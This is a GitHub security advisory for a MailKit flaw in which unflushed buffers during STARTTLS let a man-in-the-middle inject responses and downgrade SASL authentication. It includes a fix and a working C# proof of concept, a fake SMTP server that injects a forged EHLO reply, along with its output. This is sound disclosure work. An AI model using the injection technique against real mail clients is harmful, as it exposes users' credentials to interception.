GHSA-9J88-VVJ5-VHGR
Vulnerability from github – Published: 2026-04-18 01:13 – Updated: 2026-04-18 01:13Summary
A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).
Details
The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:
public Stream Stream {
get; internal set; // ← No buffer reset on set!
}
During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):
// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);
// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);
// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);
A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.
The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.
Attack flow:
Client MitM Real Server
|--- STARTTLS ---------->|--- STARTTLS ----------->|
| |<-- 220 Ready -----------|
|<-- "220 Ready\r\n"-----| |
| "250-evil\r\n" | ← INJECTED |
| "250 AUTH PLAIN\r\n" | ← INJECTED |
| "250 OK\r\n" | ← INJECTED |
|===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
|--- EHLO (over TLS) --->| |
| Reads from BUFFER: | |
| "250 AUTH PLAIN" | ← PRE-TLS DATA |
| PROCESSED AS POST-TLS! | |
Suggested fix: Reset buffer indices when the stream is replaced:
internal set { stream = value; inputIndex = inputEnd; }
PoC
Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:
using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;
class PoC {
static void Main() {
using var rsa = RSA.Create(2048);
var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
var cert = new X509Certificate2(req.CreateSelfSigned(
DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));
var listener = new TcpListener(IPAddress.Loopback, 0);
listener.Start();
int port = ((IPEndPoint)listener.LocalEndpoint).Port;
Task.Run(() => {
using var tcp = listener.AcceptTcpClient();
var s = tcp.GetStream();
Send(s, "220 evil.example.com ESMTP\r\n");
Read(s);
Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
Read(s);
// ATTACK: inject fake EHLO response after "220 Ready"
Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
var ssl = new SslStream(s, false);
ssl.AuthenticateAsServer(cert, false, false);
ReadSsl(ssl);
SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
Thread.Sleep(2000);
});
using var client = new SmtpClient();
client.ServerCertificateValidationCallback = (a, b, c, d) => true;
client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
// OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
// Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
client.Disconnect(false); listener.Stop();
}
static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}
Result against MailKit 4.12.0:
Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)
Impact
Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "MailKit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-74"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-18T01:13:46Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nA STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in `SmtpStream`, `ImapStream`, and `Pop3Stream` is not flushed when the underlying stream is replaced with `SslStream` during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).\n\n### Details\n\nThe `Stream` property in `SmtpStream` (line 84-86), `ImapStream`, and `Pop3Stream` is a simple auto-property with no buffer reset:\n\n```csharp\npublic Stream Stream {\n get; internal set; // \u2190 No buffer reset on set!\n}\n```\n\nDuring the STARTTLS upgrade in `SmtpClient.cs` (lines 1372-1389):\n\n```csharp\n// Reads STARTTLS response \u2014 \"220 Ready\" consumed, any extra data stays in buffer\nresponse = Stream.SendCommand(\"STARTTLS\\r\\n\", cancellationToken);\n\n// Swaps to TLS \u2014 buffer NOT flushed!\nvar tls = new SslStream(stream, false, ValidateRemoteCertificate);\nStream.Stream = tls;\nSslHandshake(tls, host, cancellationToken);\n\n// Reads EHLO response \u2014 processes INJECTED pre-TLS data from buffer first!\nEhlo(true, cancellationToken);\n```\n\nA MitM appends extra data after the `\"220 Ready\\r\\n\"` STARTTLS response. Both arrive in one TCP read into `SmtpStream`\u0027s 4096-byte internal buffer. `ReadResponse()` parses `\"220 Ready\"` and stops \u2014 the injected data remains at `inputIndex`. After `Stream.Stream = tls`, the buffer is not cleared. When `Ehlo()` calls `ReadResponse()`, it checks `inputIndex == inputEnd` \u2014 this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.\n\nThe same pattern exists in `ImapClient.cs` (lines 1485-1509) and `Pop3Client.cs`.\n\n**Attack flow:**\n```\nClient MitM Real Server\n |--- STARTTLS ----------\u003e|--- STARTTLS -----------\u003e|\n | |\u003c-- 220 Ready -----------|\n |\u003c-- \"220 Ready\\r\\n\"-----| |\n | \"250-evil\\r\\n\" | \u2190 INJECTED |\n | \"250 AUTH PLAIN\\r\\n\" | \u2190 INJECTED |\n | \"250 OK\\r\\n\" | \u2190 INJECTED |\n |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|\n |--- EHLO (over TLS) ---\u003e| |\n | Reads from BUFFER: | |\n | \"250 AUTH PLAIN\" | \u2190 PRE-TLS DATA |\n | PROCESSED AS POST-TLS! | |\n```\n\n**Suggested fix:** Reset buffer indices when the stream is replaced:\n```csharp\ninternal set { stream = value; inputIndex = inputEnd; }\n```\n\n### PoC\n\nSelf-contained C# PoC \u2014 creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:\n\n```csharp\nusing System; using System.Net; using System.Net.Security; using System.Net.Sockets;\nusing System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;\nusing System.Text; using System.Threading; using System.Threading.Tasks;\nusing MailKit.Net.Smtp; using MailKit.Security;\n\nclass PoC {\n static void Main() {\n using var rsa = RSA.Create(2048);\n var req = new CertificateRequest(\"CN=test\", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);\n var cert = new X509Certificate2(req.CreateSelfSigned(\n DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));\n\n var listener = new TcpListener(IPAddress.Loopback, 0);\n listener.Start();\n int port = ((IPEndPoint)listener.LocalEndpoint).Port;\n\n Task.Run(() =\u003e {\n using var tcp = listener.AcceptTcpClient();\n var s = tcp.GetStream();\n Send(s, \"220 evil.example.com ESMTP\\r\\n\");\n Read(s);\n Send(s, \"250-evil.example.com\\r\\n250-STARTTLS\\r\\n250-AUTH SCRAM-SHA-256\\r\\n250 OK\\r\\n\");\n Read(s);\n // ATTACK: inject fake EHLO response after \"220 Ready\"\n Send(s, \"220 Ready\\r\\n250-evil.example.com\\r\\n250-AUTH PLAIN LOGIN\\r\\n250 OK\\r\\n\");\n var ssl = new SslStream(s, false);\n ssl.AuthenticateAsServer(cert, false, false);\n ReadSsl(ssl);\n SendSsl(ssl, \"250-evil.example.com\\r\\n250-AUTH SCRAM-SHA-256\\r\\n250 OK\\r\\n\");\n Thread.Sleep(2000);\n });\n\n using var client = new SmtpClient();\n client.ServerCertificateValidationCallback = (a, b, c, d) =\u003e true;\n client.Connect(\"127.0.0.1\", port, SecureSocketOptions.StartTls);\n Console.WriteLine($\"Auth mechanisms: {string.Join(\", \", client.AuthenticationMechanisms)}\");\n // OUTPUT: \"Auth mechanisms: PLAIN, LOGIN\"\n // Server advertised SCRAM-SHA-256 \u2014 DOWNGRADE CONFIRMED\n client.Disconnect(false); listener.Stop();\n }\n static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }\n static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }\n static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }\n static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }\n}\n```\n\n**Result against MailKit 4.12.0:**\n```\nAuth mechanisms: PLAIN, LOGIN\n(Real server advertised SCRAM-SHA-256 \u2014 SASL mechanism DOWNGRADE achieved)\n```\n\n### Impact\n\nAny application using MailKit with `SecureSocketOptions.StartTls` or `StartTlsWhenAvailable` (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.",
"id": "GHSA-9j88-vvj5-vhgr",
"modified": "2026-04-18T01:13:46Z",
"published": "2026-04-18T01:13:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jstedfast/MailKit/security/advisories/GHSA-9j88-vvj5-vhgr"
},
{
"type": "PACKAGE",
"url": "https://github.com/jstedfast/MailKit"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.